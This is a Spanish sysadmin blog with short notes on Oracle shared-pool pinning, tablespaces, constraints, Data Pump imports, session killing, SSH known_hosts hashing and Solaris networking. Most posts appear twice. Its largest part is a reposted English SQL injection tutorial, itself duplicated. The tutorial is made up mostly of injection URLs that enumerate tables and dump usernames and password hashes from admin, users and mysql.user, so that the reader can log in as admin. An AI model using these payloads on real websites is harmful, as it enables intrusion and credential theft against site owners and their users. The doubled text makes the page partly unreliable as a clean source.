Performance - Pinning de Objetos
En Oracle a partir de la version 10g no se utiliza el pinning de objetos, la administracion de memoria compartida se hace en forma automatica
En Oracle los objetos de uso frecuente se suben a la Shared Pool que es parte de la SGA.
Si el Shared Pool no tiene espacio nos dara el error ORA-4031: Unable to allocate bytes of shared memory (no se pueden alocar bytes de la memoria compartida)
Los objetos se pueden mantener en la Shared Pool utilizando en package dbms_shared_pool que esta definido en el archivo dbmspool.sql
Ejemplo
execute dbms_shared_pool.keep('owner.object');
Para ver una lista de todos los objetos que se encuentran en la Shared Pool se utiliza la vista v$db_object_cache
select * from v$db_object_cache
select owner,name,type,sharable_mem from v$db_object_cache where kept='YES';
Para indentificar los objetos que mas se han cargado y cuales son los posibles objetos que deberian estar en la Shared Pool
select substr(owner,1,10)||'.'||substr(name,1,35) "ObjectName", type, sharable_mem,loads, executions, kept from v$db_object_cache where type in ('TRIGGER','PROCEDURE','PACKAGE BODY','PACKAGE') and executions >0 order by executions desc,loads desc,sharable_mem desc
select owner,name,type,sharable_mem from v$db_object_cache where kept='YES' order by owner desc
select substr(owner,1,10)||'.'||substr(name,1,35) "ObjectName", type, sharable_mem,loads, executions, kept
from v$db_object_cache
where type in ('TRIGGER','PROCEDURE','PACKAGE BODY','PACKAGE') and executions >0 order by executions desc,loads desc,sharable_mem desc
select * from sys.x$ksmlru;
SELECT owner,namespace,type,name,sharable_mem,loads,executions,locks,pins,kept
FROM v$db_object_cache
WHERE
type NOT IN ('NOT LOADED','NON-EXISTENT','VIEW','TABLE',
'SEQUENCE','INVALID TYPE')
AND loads>1 AND executions>loads AND executions>100 AND kept='NO'
ORDER BY owner,namespace,type,executions desc;
DBMS_SHARED_POOL
Para prevenir q los objectos sean removidos de la SHARED MEMMORY por el normal mecanismo (LRU)
- Se utiliza cuando grandes objetos como los paquetes STANDARD y DIUTIL
- Se utiliza para trigger que se utilizan constantemente. Se debe mantener los triggers mas utilizados en la Sahred Pool
- Soporta secuencias. Mantener las secuencias en la Shared Pool previene perder los numeros de secuencuias
Uso de DBMS_SHARED_POOL
1. decidir que package o cursos quedara en memoria (pin)
2. levantar la DB
3. llamar a DBMS_SHARED_POOL.KEEP para hacerle el PIN a los objetos
Subprogramas de DBMS_SHARED_POOL
SIZES - Procedure - muestra los objetos en la shared pool mayores a un tamaño especifico en kilobytes
DBMS_SHARED_POOL.SIZES ( minsize NUMBER);
DBMS_SHARED_POOL.KEEP(nombre,flag) - nombre: nombre del objeto, flag: P:para nombre de paquete(default), T:nombre del tipo, R: nombre del trigger, Q:nombre de la secuencia
DBMS_SHARED_POOL.UNKEEP(nombre,flag) - Saca los objetos de la shared memmory, los parametros son los mismos q para KEEP
DBMS_SHARED_POOL.ABORTED_REQUEST_THRESHOLD (threshold_size NUMBER) - Sets the aborted request threshold for the shared pool (bytes, range: 5000 to 2gb)
25/8/09
22/7/09
Oracle | Creacion de TABLESPACES

-- Crear un TABLESPACE
-- EXTENT MANAGEMENT LOCAL: el tablespace se administra a si mismo
-- UNIFORM SIZE 500K SEGMENT SPACE MANAGEMENT AUTO: va a crecer en forma uniforme, y la administracion del PCTFREE va a ser automatica
CREATE TABLESPACE TB_001_TEST
DATAFILE
'/oracle/db/ts_001_01.dbf'
SIZE 2210K AUTOEXTEND ON NEXT 200K MAXSIZE 10M,
'/oracle/db/ts_001_02.dbf'
SIZE 2210K AUTOEXTEND ON NEXT 200K MAXSIZE 10M
EXTENT MANAGEMENT LOCAL
UNIFORM SIZE 500K SEGMENT SPACE MANAGEMENT AUTO;
17/6/09
Oracle | Habilitar deshabilitar constraints
ALTER TABLE esquema1.tabla1 MODIFY CONSTRAINT test_fk_1 DISABLE;
ALTER TABLE esquema2.tabla2 MODIFY CONSTRAINT test_fk_2 ENABLE;
ó tambien.....
ALTER TABLE esquema1.tabla1 DISABLE CONSTRAINT test_fk_1;
ALTER TABLE esquema2.tabla2 ENABLE CONSTRAINT test_fk_2;
ALTER TABLE esquema2.tabla2 MODIFY CONSTRAINT test_fk_2 ENABLE;
ó tambien.....
ALTER TABLE esquema1.tabla1 DISABLE CONSTRAINT test_fk_1;
ALTER TABLE esquema2.tabla2 ENABLE CONSTRAINT test_fk_2;
Etiquetas:
alert,
alert oracle,
alertlog,
alter contraint,
alter table,
disable constraint,
enable constraint,
fk,
foreign key,
oracle
Linux | SSH archivo known_hosts encriptado
En este caso paso que se quizo borrar un host del archivo known_hosts y cuando fui a fijarme no encontraba el hosts porque el nombre estaba encriptado.
Archivo de configuracion: /etc/ssh/ssh_config
Opcion: HashKnownHosts yes
Default: deshabilitado
Para generar el known_hosts para que quede encriptado como en el ejemplo 2: ssh-keygen -H (acordarse de borrar el known_hots.old)
Ejemplo 1 con de known_hosts con HashKnownHosts no:
hostname.domain.com,192.168.0.1 ssh-rsa AAAAB3NzaC1yc2EAAAABI
wAAAIEA1XY18+zA8VNK2YkzygOkMqUxHSTfxT1Xxx8CgDZgcQH8HUhPssW5tt
vG8nKetlPQZAVk1C4WkWS1y5b3ekBhZTIxocp9Joc6V1+f2EOfO2mSLRwB16R
Grdw6q7msrBXTC/dl+hF45kMMzVNzqxnSMVOa0sEPK2zK6Sg3Vi9fCSM=
Ejemplo 2 con de known_hosts con HashKnownHosts yes:
|1|BWO5qDxk/cFH0wa05JLdHn+j6xQ=|rXQvIxh5cDD3C43k5DPDamawVNA=
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1XY18+zA8VNK2YkzygOkMqU
xHSTfxT1Xxx8CgDZgcQH8HUhPssW5ttvG8nKetlPQZAVk1C4WkWS1y5b3ek
BhZTIxocp9Joc6V1+f2EOfO2mSLRwB16RGrdw6q7msrBXTC/dl+hF45kMMz
VNzqxnSMVOa0sEPK2zK6Sg3Vi9fCSM=
Archivo de configuracion: /etc/ssh/ssh_config
Opcion: HashKnownHosts yes
Default: deshabilitado
Para generar el known_hosts para que quede encriptado como en el ejemplo 2: ssh-keygen -H (acordarse de borrar el known_hots.old)
Ejemplo 1 con de known_hosts con HashKnownHosts no:
hostname.domain.com,192.168.0.1 ssh-rsa AAAAB3NzaC1yc2EAAAABI
wAAAIEA1XY18+zA8VNK2YkzygOkMqUxHSTfxT1Xxx8CgDZgcQH8HUhPssW5tt
vG8nKetlPQZAVk1C4WkWS1y5b3ekBhZTIxocp9Joc6V1+f2EOfO2mSLRwB16R
Grdw6q7msrBXTC/dl+hF45kMMzVNzqxnSMVOa0sEPK2zK6Sg3Vi9fCSM=
Ejemplo 2 con de known_hosts con HashKnownHosts yes:
|1|BWO5qDxk/cFH0wa05JLdHn+j6xQ=|rXQvIxh5cDD3C43k5DPDamawVNA=
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1XY18+zA8VNK2YkzygOkMqU
xHSTfxT1Xxx8CgDZgcQH8HUhPssW5ttvG8nKetlPQZAVk1C4WkWS1y5b3ek
BhZTIxocp9Joc6V1+f2EOfO2mSLRwB16RGrdw6q7msrBXTC/dl+hF45kMMz
VNzqxnSMVOa0sEPK2zK6Sg3Vi9fCSM=
2/6/09
Oracle | Datapump impdp e imp
IMPDP (a partir de la version 10)
Ejemplo 1:
impdp "'/ as sysdba'" directory=DATA_PUMP_BCK dumpfile=archivo.dmp remap_schema=ESQUEMA1:ESQUEMA_AUX remap_tablespace=TB1:TBTEMP1 tables=ROLES1 TABLE_EXISTS_ACTION=TRUNCATE
Ejemplo 2: REMAP de varios TABLESPACES
impdp "'/ as sysdba'" directory=DATA_PUMP_BCK dumpfile=archivo.dmp remap_tablespace=TB1:TBX1 remap_tablespace=INDICES1:INDICES_01 logfile=archivolog.log CONTENT=ALL
IMP (versiones anterirores a la 10)
Ejemplo1: importa solo determinadas tablas
imp system/ FILE=archivo.dmp GRANTS=n ROWS=n INDEXES=y CONSTRAINTS=y LOG=resultado.log FROMUSER=USER1 TOUSER=USER2 BUFFER=100000 FEEDBACK=5000 IGNORE=y tables=(TABLA1,TABLA2)
Ejemplo 1:
impdp "'/ as sysdba'" directory=DATA_PUMP_BCK dumpfile=archivo.dmp remap_schema=ESQUEMA1:ESQUEMA_AUX remap_tablespace=TB1:TBTEMP1 tables=ROLES1 TABLE_EXISTS_ACTION=TRUNCATE
Ejemplo 2: REMAP de varios TABLESPACES
impdp "'/ as sysdba'" directory=DATA_PUMP_BCK dumpfile=archivo.dmp remap_tablespace=TB1:TBX1 remap_tablespace=INDICES1:INDICES_01 logfile=archivolog.log CONTENT=ALL
IMP (versiones anterirores a la 10)
Ejemplo1: importa solo determinadas tablas
imp system/
1/6/09
Oracle | Librerias requeridas para Base de Datos Oracle 10g
REQUERIMIENTOS PARA ORACLE 10g sobre LINUX Red Hat
glibc-2.3.4-2.9
glibc-common-2.3.4-2.9
binutils-2.15.92.0.2-13
compat-libstdc++-296-2.96-132.7.2
gcc-3.4.3-22.1
gcc-c++-3.4.3-22.1
libstdc++-3.4.3-22.1
libstdc++-devel-3.4.3-22.1
openmotif21-2.1.30-11.RHEL4.4
pdksh-5.2.14-30
setarch-1.6-1
make-3.80-5
gnome-libs-1.4.1.2.90-44.1
sysstat-5.0.5-1
compat-db-4.1.25-9
compat-libstdc++-devel-7.3-2.96.128
compat-glibc-7.x-2.2.4.32.6
compat-libstdc++-7.3-2.96.128
control-center-2.8.0-12
xscreensaver-4.18-5.rhel4.2
glibc-2.3.4-2.9
glibc-common-2.3.4-2.9
binutils-2.15.92.0.2-13
compat-libstdc++-296-2.96-132.7.2
gcc-3.4.3-22.1
gcc-c++-3.4.3-22.1
libstdc++-3.4.3-22.1
libstdc++-devel-3.4.3-22.1
openmotif21-2.1.30-11.RHEL4.4
pdksh-5.2.14-30
setarch-1.6-1
make-3.80-5
gnome-libs-1.4.1.2.90-44.1
sysstat-5.0.5-1
compat-db-4.1.25-9
compat-libstdc++-devel-7.3-2.96.128
compat-glibc-7.x-2.2.4.32.6
compat-libstdc++-7.3-2.96.128
control-center-2.8.0-12
xscreensaver-4.18-5.rhel4.2
22/5/09
Oracle | Matar sesiones
Desde SQLPlus:
SELECT s.sid,
s.serial#,
s.osuser,
s.program
FROM v$session s;
SQL> ALTER SYSTEM KILL SESSION 'sid,serial#';
Es posible forzar el kill de la sesion agregando la palabra IMMEDIATE :
SQL> ALTER SYSTEM KILL SESSION 'sid,serial#' IMMEDIATE;
SELECT s.sid,
p.spid,
s.osuser,
s.program
FROM v$process p,
v$session s
WHERE p.addr = s.paddr;
Desde una consola Unix:
% ps -ef | grep ora
% kill -9 spid
SELECT s.sid,
s.serial#,
s.osuser,
s.program
FROM v$session s;
SQL> ALTER SYSTEM KILL SESSION 'sid,serial#';
Es posible forzar el kill de la sesion agregando la palabra IMMEDIATE :
SQL> ALTER SYSTEM KILL SESSION 'sid,serial#' IMMEDIATE;
SELECT s.sid,
p.spid,
s.osuser,
s.program
FROM v$process p,
v$session s
WHERE p.addr = s.paddr;
Desde una consola Unix:
% ps -ef | grep ora
% kill -9 spid
Oracle | Deshabilitar una constraint
ALTER TABLE book DISABLE CONSTRAINT b_auth;
ALTER TABLE book ENABLE CONSTRAINT b_auth;
ALTER TABLE book ENABLE CONSTRAINT b_auth;
11/5/09
SQL | SQL Injection
SQL Injection Tutorial by Marezzi (MySQL)
In this tutorial i will describe how sql injection works and how to
use it to get some useful information.
First of all: What is SQL injection?
It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).
1.SQL Injection (classic or error based or whatever you call it) :D
2.Blind SQL Injection (the harder part)
So let's start with some action :D
1). Check for vulnerability
Let's say that we have some site like this
http://www.site.com/news.php?id=5
Now to test if is vulrnable we add to the end of url ' (quote),
and that would be http://www.site.com/news.php?id=5'
so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar
that means is vulrnable to sql injection :)
2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3). Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it :)
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D
5). Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)
we know that table admin exists...
now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc...
now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
i.e md5 hash, mysql hash, sha1...
now we must complete query to look nice :)
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser :D
if can't guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5
Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc... :D
if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON.
let's say that we found colums user, pass and email.
now to complete query to put them all together :D
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
That's all in this part, now we can proceed on harder part :)
2. Blind SQL Injection
Blind injection is a little more complicated the classic injection but it can be done :D
I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D
Let's start with advanced stuff.
I will be using our example
http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etc...
then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
and the page loads normally, that's ok.
now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
1) Get the MySQL version
to get the version in blind attack we use substring
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
3). Check table and column names
This is part when guessing is the best friend :)
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)
let's say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.
then let's check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is 'i'. We have 'ci' so far
so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
cause that makes you better SQL INJECTOR :D
Hope you learned something from this paper.
Have FUN! (:
To be continued and updated...
marezzi@gmail.com
[18 April 2008]
# milw0rm.com [2008-05-22]
In this tutorial i will describe how sql injection works and how to
use it to get some useful information.
First of all: What is SQL injection?
It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).
1.SQL Injection (classic or error based or whatever you call it) :D
2.Blind SQL Injection (the harder part)
So let's start with some action :D
1). Check for vulnerability
Let's say that we have some site like this
http://www.site.com/news.php?id=5
Now to test if is vulrnable we add to the end of url ' (quote),
and that would be http://www.site.com/news.php?id=5'
so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar
that means is vulrnable to sql injection :)
2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3). Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it :)
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D
5). Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)
we know that table admin exists...
now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc...
now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
i.e md5 hash, mysql hash, sha1...
now we must complete query to look nice :)
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser :D
if can't guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5
Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc... :D
if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON.
let's say that we found colums user, pass and email.
now to complete query to put them all together :D
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
That's all in this part, now we can proceed on harder part :)
2. Blind SQL Injection
Blind injection is a little more complicated the classic injection but it can be done :D
I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D
Let's start with advanced stuff.
I will be using our example
http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etc...
then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
and the page loads normally, that's ok.
now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
1) Get the MySQL version
to get the version in blind attack we use substring
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
3). Check table and column names
This is part when guessing is the best friend :)
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)
let's say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.
then let's check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is 'i'. We have 'ci' so far
so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
cause that makes you better SQL INJECTOR :D
Hope you learned something from this paper.
Have FUN! (:
To be continued and updated...
marezzi@gmail.com
[18 April 2008]
# milw0rm.com [2008-05-22]
6/5/09
Linux | Comando TAR
Para hacer un tar y comprimir al mismo tiempo:
tar cf - target | gzip -c > target.tgz
o se podria tambien....
tar cfx archivo.tar.gz arch1 arch2 .. archN
tar cf - target | gzip -c > target.tgz
o se podria tambien....
tar cfx archivo.tar.gz arch1 arch2 .. archN
4/5/09
Oracle | Habilitar el session timeout
Para que funcione el IDLE_TIME de un determinado PROFILE en la Base de Datos se debe activar la opcion resource_limit en la DB.
SQL>select * from V$PARAMETER where name like 'resource_limit';
SQL>alter system set resource_limit = TRUE scope=both;
SQL>select * from V$PARAMETER where name like 'resource_limit';
SQL>alter system set resource_limit = TRUE scope=both;
Solaris | Comandos varios
Configurar la placa de red:
#ifconfig xl0 inet 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255
IP -> /etc/hosts
Netmask -> /etc/netmasks
Gateway -> /etc/defaultrouter
